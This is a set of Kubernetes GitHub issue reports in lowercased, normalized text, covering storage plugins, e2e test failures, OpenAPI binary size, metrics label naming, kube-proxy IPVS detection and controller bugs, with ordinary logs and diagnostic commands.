is this a bug report or feature request?  :\r  \r   what happened  :\r the recycler pod image used by the nfs & hostpath persistent volume plugins is hardcoded to  gcr.io/google_containers/busybox , here:\r https://github.com/kubernetes/kubernetes/blob/080db40539b78a1c7a55912d5eab09a361ccf2fb/pkg/volume/plugins.go l716\r \r there are several problems with this approach:\r \r 1. no way to run a deployment off a custom repository. e.g. if an organization wanted full control of every image running in their cluster.\r 2. the hardcoded image is unversioned, meaning there is no way to ensure you're getting the latest version  and if latest is updated, there is no way to safely roll out the updates .\r \r   what you expected to happen  :\r \r the image, repository & tag should be configurable at deployment time, e.g. with a command-line flag. the default image should use a versioned tag  not latest .\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r  volume/rbd  unit tests fail on osx.\r \r    \r $ pwd\r <snip>/gopath/src/k8s.io/kubernetes/pkg/volume/rbd\r $ go test\r --- fail: testconstructvolumespec  0.00s \r \trbd_test.go:575: constructvolumespec failed: directory /var/folders/59/yc7_f4fd53nbyw868zqpk78cn7shx9/t/rbd_test144865306/pods/pod123/volumes/kubernetes.io~rbd/vol is not mounted\r \trbd_test.go:575: constructvolumespec failed: directory /var/folders/59/yc7_f4fd53nbyw868zqpk78cn7shx9/t/rbd_test144865306/pods/pod123/volumes/kubernetes.io~rbd/vol is not mounted\r fail\r exit status 1\r fail\tk8s.io/kubernetes/pkg/volume/rbd\t0.063s\r    \r \r   what you expected to happen  :\r \r    \r $ go test\r pass\r ok  \tk8s.io/kubernetes/pkg/volume/rbd\t0.053s\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to see this unit test fail, you need to run go test on an osx machine.\r \r    \r $ cd <snip>/gopath/src/k8s.io/kubernetes/pkg/volume/rbd\r $ go test\r    \r \r   environment  :\r - os: macos high sierra v10.13.3 \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r the test    sig-storage  csi volumes  flaky  sanity csi plugin test using hostpath csi driver should provision storage with a hostpath csi driver  is consistently failing in https://k8s-testgrid.appspot.com/sig-storage gke-flaky\r \r the issue is that gke does not permit e2e framework to create new role, so the creation of role  required by the csi e2e test  https://github.com/kubernetes/kubernetes/blob/90c09c75d67831/test/e2e/storage/csi_volumes.go l84-l120  fails with:  csi-cluster-role cluster role: clusterroles.rbac.authorization.k8s.io \ csi-cluster-role\  is forbidden: attempt to grant extra privileges .\r \r   what you expected to happen  :\r \r the test should not be creating a role. kubernetes already defines a set of pre-defined role, see https://github.com/kubernetes/kubernetes/blob/90c09c75d67831ad46cc0c9abb954b6936ca86b3/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l448\r \r we should cosnider adding three new pre-defined kubernetes role: 1   csi-provisioner , 2   csi-attacher , and 3   csi-mounter . these should be used by the csi external-provisioner, external-attacher, and driver-registrar.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the failing e2e test on gke.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the generated openapi definition results in relatively pathological binary size for the kube api and for extension api servers that also leverage it.\r \r the 1.10 / go 1.19  .a  file for  k8.io/kubernetes/pkg/generated/openapi.a  is around 65m, and compiling that into a trivial binary results in a ~70m binary  5m for the size of the go runtime .  the actual openapi data that results when gzipped is much smaller - 100k or so.  go 1.10 is about 25-30% smaller, likely due to the small map initialization changes that reduced generated code size for lots of static small maps.\r \r    \r 65493692 _output/local/pkgdir/darwin/amd64/k8s.io/kubernetes/pkg/generated/openapi.a\r    \r \r unfortunately, for any component downstream of kube that includes any of the common kube definitions  like podspec , the generated file has to inline the definitions from the other package and add its own, leading to even more bloat.  this was discovered in openshift when i observed that our openapi package was over 122m, on top of the 65m of the kube openapi package, leading to over 180m of wasted binary space for our equivalent api server.\r \r    \r 122448516 _output/local/pkgdir/darwin/amd64//github.com/openshift/origin/pkg/openapi.a\r    \r \r while go 1.10 improves the situation, i suspect the root issue is non trivial to resolve because the function must have code layout to generate an in memory representation of a deeply nested structure.  \r \r i'd like to look at improvements alongside filing an issue with go  on the off chance there's an obvious inefficiency here .  simply generating the equivalent json as a string  or gzipped string  and inlining in the file would probably cut some of these binaries in half.

is this a bug report or feature request?  :\r \r  \r   what's happening:  \r \r currently, the  container_   metrics use the label \ pod_name\  to refer to the name of the pod in a timeseries and \ container_name\  to refer to container names within that pod.\r \r kube-state-metrics, however, uses \ pod\  to refer to the names of pods and \ container\  to refer to names of containers. \r \r this difference makes it difficult to do joins on ksm metrics and cadvisor metrics, leading me to write queries like this one  which calculates the percentage of real utilization of quota per container -- namespace and podname templated in grafana :\r \r    \r sum irate container_cpu_usage_seconds_total{namespace=\ $namespace\ ,pod_name=\ $podname\ ,container_name!=\ pod\ } 1m    by  container_name  / sum label_join kube_pod_container_resource_requests_cpu_cores{namespace=\ $namespace\ ,pod=\ $podname\ }, \ container_name\ , \ \ , \ container\    by  container_name \r    \r \r with normalized labels i could just write\r \r    \r sum irate container_cpu_usage_seconds_total{namespace=\ $namespace\ ,pod=\ $podname\ ,container!=\ pod\ } 1m    by  container  / sum kube_pod_container_resource_requests_cpu_cores{namespace=\ $namespace\ ,pod=\ $podname\ }  by  container \r    \r \r hence, i propose renaming the \ pod_name\  labels to \ pod\  and \ container_name\  labels to \ container\  to normalize between the two data sources. i can attempt to write a patch for this.\r \r   why propose this here rather than telling ksm to match the cadvisor metrics?  \r \r i reported this against ksm first: https://github.com/kubernetes/kube-state-metrics/issues/501\r \r the  current kubernetes instrumentation guidelines  https://github.com/kubernetes/community/blob/afcc37186a32cc92b24e99e27089d10ae48ed0cf/contributors/devel/instrumentation.md resource-referencing  indicate the usage of \ container\   vs. container_name , \ pod\   vs. pod_name , etc.:\r \r > an object is referenced by its unique name in a label named after the resource itself  i.e.  pod / deployment /... and not  pod_name / deployment_name   and the namespace it belongs to in the  namespace  label.\r \r fixing this would ensure the cadvisor metrics conform with the community guidelines.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.8.7-21 with internal patches \r - kube-state-metrics image version: 1.2.0

failing job\r ---\r  sig-release-master-upgrade gce-new-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-master \r \r     gubernator logs\r ---\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1778\r \r \r     error\r ---\r    \r expected error:\r     < errors.errorstring | 0xc420a4b980>: {\r         s: \ failed to get logs from pvc-tester-j4c4l for write-pod: the server does not allow this method on the requested resource  get pods pvc-tester-j4c4l \ ,\r     }\r     failed to get logs from pvc-tester-j4c4l for write-pod: the server does not allow this method on the requested resource  get pods pvc-tester-j4c4l \r not to have occurred\r \r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutputmatcher 0xc42097b340, 0x443f662, 0xf, 0xc42026a000, 0x0, 0xc420090e98, 0x1, 0x1, 0x45d0920 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2350 +0x216\r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutput 0xc42097b340, 0x443f662, 0xf, 0xc42026a000, 0x0, 0xc420090e98, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:475 +0x8a\r k8s.io/kubernetes/test/e2e/upgrades/storage.  persistentvolumeupgradetest .testpod 0x6c17120, 0xc42097b340, 0x449c1c2, 0x20 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/storage/persistent_volumes.go:100 +0x10e\r k8s.io/kubernetes/test/e2e/upgrades/storage.  persistentvolumeupgradetest .test 0x6c17120, 0xc42097b340, 0xc42151eae0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/storage/persistent_volumes.go:82 +0x8f\r k8s.io/kubernetes/test/e2e/lifecycle.  chaosmonkeyadapter .test 0xc4217d7640, 0xc421382b80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:447 +0x1da\r k8s.io/kubernetes/test/e2e/lifecycle.  chaosmonkeyadapter .test-fm 0xc421382b80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:516 +0x34\r k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc421382b80, 0xc42157c8a0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76\r created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:86 +0xa8\r    \r \r     triage\r ---\r this test is a persistent fail in this one test bucket only, and aside from one flake it appears to consistently pass everywhere else in sig-release-master-upgrade and in sig-release-1.12-all.\r \r  /  @kubernetes/sig-storage-bugs \r /assign @msau42 \r /cc @saad-ali @childsb \r /milestone v1.12

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r kube-controller-manager generates an event when a namespace is deleted  via kubectl \r  namespace has been deleted <namespace_name> \r \r however, nothing happen when a namespace is created\r \r   what you expected to happen  :\r i expect the same kind of event when a namespace is created  via kubectl \r for example: \r  namespace has been created <namespace_name> \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1: create a namespace\r  kubectl create namespace test-namespace-log \r \r 2: delete the namespace\r  kubectl delete namespace test-namespace-log \r \r 3: check kube-controller-manager logs\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i was using kubernetes v1.12.x without any issues since its release on centos 7 machines. i use kubeadm method for installation using kubernetes repo. i got a vagrant file that does this automatically.\r https://github.com/justmeandopensource/kubernetes/vagrant-provisioning.\r \r today after vagrant provisioned the cluster, i noticed kubernetes v1.13.0 got installed from kubernetes repo. i felt good about using newer version.\r but very often i get below error when using kubectl commands. and starts working after a while on its own or when i restart kubelet service on master.\r    \r the connection to the server 172.42.42.100:6443 was \r refused - did you specify the right host or port?\r    \r    \r unable to connect to the server: net/http: tls handshake timeout\r \r    \r   what you expected to happen  :\r ability to connect to api server using kubectl command without any issues\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is not a production environment. just vm infrastructure for learning.\r \r > set up a 3 node cluster using kubeadm on centos 7\r > run \ watch -n5 kubectl get nodes\  command\r \r   anything else we need to know?  :\r \r \r   environment  :\r - os: centos 7\r - kernel\r - cpu: 2\r - ram: 2g\r - kubectl version 1.13.0\r - kubernetes server version 1.13.0\r \r <!-- do not edit below this line -->\r 

resource.asversionedobjects has atrophied.  it probably should just be doing conversions and leaving objects it cannot convert.  it also shouldn't hardcode api.scheme.

this is a fork from this  comment  https://github.com/kubernetes/kubernetes/pull/18263 issuecomment-169220144  nodespec.unschedulable was introduced before taints/tolerations. now it's time to deprecate it.  here are work items from @bgrant0607: - we should \ deprecate\  the existing nodespec.unschedulable field and represent that as a taint - we should automatically apply taints for node conditions that cause the node to become unschedulable  daemonsets do not respect nodespec.unschedulable which is intended behavior  which sometimes leads to problems. see  29108,  26810 and  29193. with moving  nodespec.unschedulable to be a taint user will be able to control this behavior. daemonsets will automatically tolerate this taint but user will be able to change it.  cc @mikedanese @davidopp

we should have an e2e test which uses pdbs and stateful sets together to ensure that node drains occur as expected.\r we expect drains to not affect the functioning of a stateful set, and should capture this.\r \r cc @erictune @smarterclayton @janetkuo @enisoc \r

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-release-1.5/902/  run so broken it didn't make junit output!

i'm thinking about making  cluster/kube-up.sh  support create a ha cluster. for now, it just can create a one-master cluster, it's not enough for me. because  kops  and  kubeadm  have some issues in a limited network region, e.g: china   794  https://github.com/kubernetes/kops/issues/794    pr33818  https://github.com/kubernetes/kubernetes/pull/33818 . but there are a lot of people who using k8s, so quick create a ha cluster is important for us,  cluster/kube-xxx.sh  is more flexible, i think it's worth to make that to support create ha cluster. how are you think about?\r

i can promise a selector in some nodes deployment has nodeselector .\r so ,why include all nodes when i create load blancer ?\r and,how to slove this issue ? \r \r

moving this discussion from https://github.com/kubernetes/test-infra/issues/2457. \r \r this job is broken due to problems in the corresponding deploy job. it has been in this state for a while due to test-infra issues and @shashidharatd has been tirelessly working on it. this issue is to track the progress towards making the soak test work.\r \r ref: https://github.com/kubernetes/test-infra/issues/2457\r \r

we have moved cri from  api/v1alpha1/runtime  https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet/api/v1alpha1/runtime  to  apis/cri/v1alpha1  https://github.com/kubernetes/kubernetes/tree/master/pkg/kubelet/apis/cri/v1alpha1 , which changed the package name of cri. this would cause a significant problem: old-versioned runtime  based on cri in v1.6  doesn't work with latest kubelet v1.7, and vice versa.\r \r and based on current package format, if we move cri to v1beta1 or v1 in the future, it will still have same problem. \r \r to fix this problem, i think we should keep using the fixed package name  e.g.   apis/cri/v1alpha1/runtime   for cri.\r \r cc/ @dchen1107 @yujuhong @mtaufen @kubernetes/sig-node-api-reviews

i'm losing pvs while their attached pvcs still exist. happens about once a month since upgrading to v1.5.x. using kube v1.5.3 in aws govcloud.\r \r    \r w0522 01:00:23.537501 1 listers.go:69  can not retrieve list of objects using index : index with name namespace does not exist\r i0522 01:00:23.691390 1 pv_controller.go:441  volume \ pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3\  is released and reclaim policy \ delete\  will be executed\r i0522 01:00:23.897945 1 panics.go:76  put /api/v1/persistentvolumes/pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3/status:  113.465551ms  200   hyperkube/v1.5.3  linux/amd64  kubernetes/029c3a4/persistent-volume-binder  127.0.0.1:46558 \r i0522 01:00:23.898777 1 pv_controller.go:672  volume \ pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3\  entered phase \ released\ \r i0522 01:00:24.097903 1 panics.go:76  get /api/v1/persistentvolumes/pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3:  63.425359ms  200   hyperkube/v1.5.3  linux/amd64  kubernetes/029c3a4/persistent-volume-binder  127.0.0.1:46580 \r i0522 01:00:24.098147 1 pv_controller.go:1155  isvolumereleased pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3 : volume is released\r i0522 01:00:24.558468 1 aws_util.go:59  successfully deleted ebs disk volume aws://us-gov-west-1a/vol-07b171169f4fbdeb6\r i0522 01:00:24.558484 1 pv_controller.go:1191  volume \ pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3\  deleted\r i0522 01:00:24.877886 1 panics.go:76  delete /api/v1/persistentvolumes/pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3:  193.380685ms  200   hyperkube/v1.5.3  linux/amd64  kubernetes/029c3a4/persistent-volume-binder  127.0.0.1:46628 \r i0522 01:00:27.037645 1 panics.go:76  get /api/v1/persistentvolumes/pvc-f7e47a97-3a52-11e7-b904-06d97c0700c3:  53.083937ms  404   hyperkube/v1.5.3  linux/amd64  kubernetes/029c3a4/persistent-volume-binder  127.0.0.1:46734 \r i0522 01:00:30.350036 1 panics.go:76  put /api/v1/namespaces/test/persistentvolumeclaims/testpvc/status:  133.804718ms  200   hyperkube/v1.5.3  linux/amd64  kubernetes/029c3a4/persistent-volume-binder  127.0.0.1:46882 \r i0522 01:00:30.350373 1 pv_controller.go:608  claim \ test/testpvc\  entered phase \ lost\ \r    \r \r  

apiservers can be chained by apiserver delegation. each of these apiservers provides\r - resources in a go-restful container which are used for the swagger spec\r - an openapi spec.\r \r in kube-aggregator, only the first level of the delegation chain is taken into consideration for aggregation of swagger and openapi. all following apiservers cannot expose swagger or openapi specs.\r \r this is somehow related to https://github.com/kubernetes/kubernetes/issues/49878, but not the same thing. here we talk about the static spec generation, https://github.com/kubernetes/kubernetes/issues/49878 is about dynamic update. a solution for https://github.com/kubernetes/kubernetes/issues/49878 can possibly solve this as well.\r \r cc: @deads2k

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r >  \r \r \r   what happened  :\r in our reliability test environment, we tried to let nodes down, and perhaps restart some management components at the same time. as a result, we met the case that some pods on unavailable nodes were not evicted and still in ready condition\r \r   what you expected to happen  :\r following the code, we find that in the func of monitornodestatus, controller update node status and markallpodsnotready, if the controller happened to crash when it is in logic of markallpodsnotready, thus, when the controller recover, the nodes have already been in unknow status, and the controller would not step in markallpodsnotready logic.\r \r to fix the issue, i think we need a flag for nodes, to let the controller know it has unfinished eviction work to do when recovering from abnormal state.\r \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r     @sig-testing-pr-reviews\r \r   what happened  :\r the kubernetes conformance workgroup has agreed on a convention for annotating conformance tests in the e2e test suite with comments that enables documentation to be generated that provides and overview of the conformance test suite.  the comments look like the following the e2e test source code:\r \r / \r  testname: pods-exec-liveness-probe-not-restarted\r  description: make sure when exec liveness probe succeeds, the pod should\r         not be restarted.\r  /\r _it \ should  not  be restarted with a exec \\\ cat /tmp/health\\\  liveness probe  conformance \ , func   {_\r \r sig arch has done a review of the proposed testnames and descriptions so it is time to start adding the comments.\r \r  see  pr  53742  https://github.com/kubernetes/kubernetes/pull/53742  for more details on this.\r \r see  pr  53810  https://github.com/kubernetes/kubernetes/issues/53810  for a new feature that is related to this one focused on providing build checks to ensure annotation format is adhered to.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r > check kube-proxy logs, show these warning and error message:\r - error: ../libkmod/libkmod.c:557 kmod_search_moddep   could not open moddep file '/lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin' , error: exit status 1\ \r -  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed \r    \r w1102 10:08:24.513694       1 server.go:191  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r time=\ 2017-11-02t10:08:25z\  level=warning msg=\ running modprobe ip_vs failed with message:  modprobe: error: ../libkmod/libkmod.c:557 kmod_search_moddep   could not open moddep file '/lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin' , error: exit status 1\ \r w1102 10:08:25.134961       1 server_others.go:263  flag proxy-mode=\ \  unknown, assuming iptables proxy\r i1102 10:08:25.136763       1 server_others.go:117  using iptables proxier.\r i1102 10:08:25.578433       1 server_others.go:152  tearing down inactive rules.\r e1102 10:08:26.356184       1 proxier.go:699  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed\r  \r i1102 10:08:26.415998       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i1102 10:08:26.416237       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i1102 10:08:26.416375       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i1102 10:08:26.416448       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i1102 10:08:26.471268       1 config.go:202  starting service config controller\r i1102 10:08:26.471358       1 controller_utils.go:1041  waiting for caches to sync for service config controller\r i1102 10:08:26.482155       1 config.go:102  starting endpoints config controller\r i1102 10:08:26.482234       1 controller_utils.go:1041  waiting for caches to sync for endpoints config controller\r i1102 10:08:26.572238       1 controller_utils.go:1048  caches are synced for service config controller\r i1102 10:08:26.582491       1 controller_utils.go:1048  caches are synced for endpoints config controller\r    \r > check host path -- /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin, it exist.\r    \r  root@m-imulti-192-168-4-99 ~   ls /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin\r /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin\r    \r > check container path -- /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin, it not exist !!\r    \r  root@m-imulti-192-168-4-99 ~   docker ps -a | grep kube-proxy\r 1eb7b4305d5b        88e2c85d3d02                                      \ /usr/local/bin/kube-\    17 hours ago        up 17 hours                             k8s_kube-proxy_kube-proxy-qzgwn_kube-system_b5eb3bb5-bfb5-11e7-b06b-00e06f69d690_0\r 32cad0d3e9a5        gcr.io/google_containers/pause-amd64:3.0          \ /pause\                  17 hours ago        up 17 hours                             k8s_pod_kube-proxy-qzgwn_kube-system_b5eb3bb5-bfb5-11e7-b06b-00e06f69d690_0\r  root@m-imulti-192-168-4-99 ~   docker exec -ti 1eb7b4305d5b sh\r   ls /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin\r ls: cannot access /lib/modules/3.10.0-514.el7.x86_64/modules.dep.bin: no such file or directory\r  \r    \r \r   what you expected to happen  :\r > no error message\r \r   how to reproduce it  as minimally and precisely as possible   :\r > follow kubeadm install document: https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r > check kube-proxy logs, in the head, you can see these error message.\r \r   anything else we need to know?  :\r > any thing you want to know, just tell me.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release :  centos-7\r - kernel  e.g.  uname -a  :linux m-imulti-192-168-4-99 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others: calico node:v2.5.1 cni: v1.10.0 kube-policy-controller:v0.7.0\r \r   sig  :\r  

 @kubernetes/sig-instrumentation-bugs\r \r   what happened  :\r \r ran a container that does some work, logging was suppressed then got dumped suddenly when calling kubectl logs on the pod.\r \r   what you expected to happen  :\r \r logging should be available as the the logs are produced. note that when running this container locally with docker the logs are seen as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we have a container that is running and downloads some files from gcs and then processes them, using standard output via python print   statements to update progress.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4-gke.0\r - cloud provider or hardware configuration: gke\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r received panic when i make a e2e-node test:\r \r    bash\r   make test-e2e-node focus=\ should assign cpus as expected based on the pod spec\  skip=\ \ \r    ... ...\r •! panic  8.361 seconds \r  sig-node  cpu manager  feature:cpumanager \r /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/framework.go:22\r   with kubeconfig updated with static cpu manager policy run the cpu manager tests\r   /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/cpu_manager_test.go:421\r     should assign cpus as expected based on the pod spec  it \r     /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/cpu_manager_test.go:189\r \r     test panicked\r     assignment to entry in nil map\r     /usr/local/go/src/runtime/panic.go:491\r \r     full stack trace\r     \t/usr/local/go/src/runtime/panic.go:491 +0x283\r     k8s.io/kubernetes/test/e2e_node.enablecpumanagerinkubelet 0xc420f80000, 0x4 \r     \t/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/cpu_manager_test.go:148 +0x10e\r     k8s.io/kubernetes/test/e2e_node.runcpumanagertests.func1  \r     \t/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/cpu_manager_test.go:198 +0x14c\r     k8s.io/kubernetes/vendor/github.com/onsi/ginkgo/internal/leafnodes.  runner .runsync 0xc420c399e0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r     \t/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/e2e_node_suite_test.go:135 +0x471\r     testing.trunner 0xc420a1ca50, 0x4558d60 \r     \t/usr/local/go/src/testing/testing.go:746 +0xd0\r     created by testing.  t .run\r     \t/usr/local/go/src/testing/testing.go:789 +0x2de\r     \r ------------------------------\r    \r \r   what you expected to happen  :\r do not panic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r execute  e2e-node  test locally like:\r    \r   make test-e2e-node focus=\ should assign cpus as expected based on the pod spec\  skip=\ \ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r deploying kube-proxy with mode ipvs on a system with the required ipvs support compiled into the kernel rather than as modules causes the kube-proxy deployment to fall back to using iptables.\r \r    sh\r   kubectl logs -n kube-system  kubectl get pods -n kube-system -l \ k8s-app=kube-proxy\  -o name \r i0514 13:55:14.505765       1 feature_gate.go:226  feature gates: &{{} map  }\r e0514 13:55:16.139837       1 server_others.go:304  can't determine whether to use ipvs proxy, error: ipvs proxier will not be used because the following required kernel modules are not loaded:  ip_vs_sh nf_conntrack_ipv4 ip_vs ip_vs_rr ip_vs_wrr \r i0514 13:55:16.524562       1 server_others.go:140  using iptables proxier.\r i0514 13:55:16.625142       1 server_others.go:174  tearing down inactive rules.\r i0514 13:55:17.838932       1 server.go:444  version: v1.10.2\r    \r \r tryipvsproxy is only checking for the presence of kernel modules and not if the running kernel has the required support compiled in.\r \r   what you expected to happen  :\r \r tryipvsproxy should succeed if either the required modules are found or support is compiled into the running kernel.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - boot a system using a kernel with ipvs support compiled in rather than as a module  such as the kernel used by  linuxkit  https://github.com/linuxkit/linuxkit  and a host without iptables installed\r - add --config=/etc/kubernetes/kubelet-config.yaml to the kubelet arguments using the following kubelet-config.yaml contents:\r      sh\r   kind: kubeletconfiguration\r   apiversion: kubelet.config.k8s.io/v1beta1\r   staticpodpath: /etc/kubernetes/manifests\r   clusterdomain: cluster.local\r   clusterdns:\r     - 10.96.0.10\r   makeiptablesutilchains: false\r      \r - install using kubeadm with the following config:\r      sh\r   apiversion: kubeadm.k8s.io/v1alpha1\r   kind: masterconfiguration\r   kubeproxy:\r     config:\r       mode: ipvs\r      \r - check the output of the kube-proxy pod: \r      \r   kubectl logs -n kube-system  kubectl get pods -n kube-system -l \ k8s-app=kube-proxy\  -o name \r      \r \r   anything else we need to know?  :\r \r from https://superuser.com/a/729474, it should be possible to check for the existence of modules.builtin and if present use that in addition to using modprobe and the contents of /proc/modules.\r \r    \r   grep -e ipvs -e nf_conntrack_ipv4 /lib/modules/$ uname -r /modules.builtin\r kernel/net/ipv4/netfilter/nf_conntrack_ipv4.ko\r kernel/net/netfilter/xt_ipvs.ko\r kernel/net/netfilter/ipvs/ip_vs.ko\r kernel/net/netfilter/ipvs/ip_vs_rr.ko\r kernel/net/netfilter/ipvs/ip_vs_wrr.ko\r kernel/net/netfilter/ipvs/ip_vs_lc.ko\r kernel/net/netfilter/ipvs/ip_vs_wlc.ko\r kernel/net/netfilter/ipvs/ip_vs_fo.ko\r kernel/net/netfilter/ipvs/ip_vs_ovf.ko\r kernel/net/netfilter/ipvs/ip_vs_lblc.ko\r kernel/net/netfilter/ipvs/ip_vs_lblcr.ko\r kernel/net/netfilter/ipvs/ip_vs_dh.ko\r kernel/net/netfilter/ipvs/ip_vs_sh.ko\r kernel/net/netfilter/ipvs/ip_vs_sed.ko\r kernel/net/netfilter/ipvs/ip_vs_nq.ko\r kernel/net/netfilter/ipvs/ip_vs_ftp.ko\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.2\r - cloud provider or hardware configuration: local kvm host\r - os  e.g. from /etc/os-release : custom linuxkit build\r - kernel  e.g.  uname -a  : linux linuxkit-b67dc0805fa9 4.14.40-linuxkit  1 smp thu may 10 10:06:57 utc 2018 x86_64 linux\r - install tools: kubeadm\r

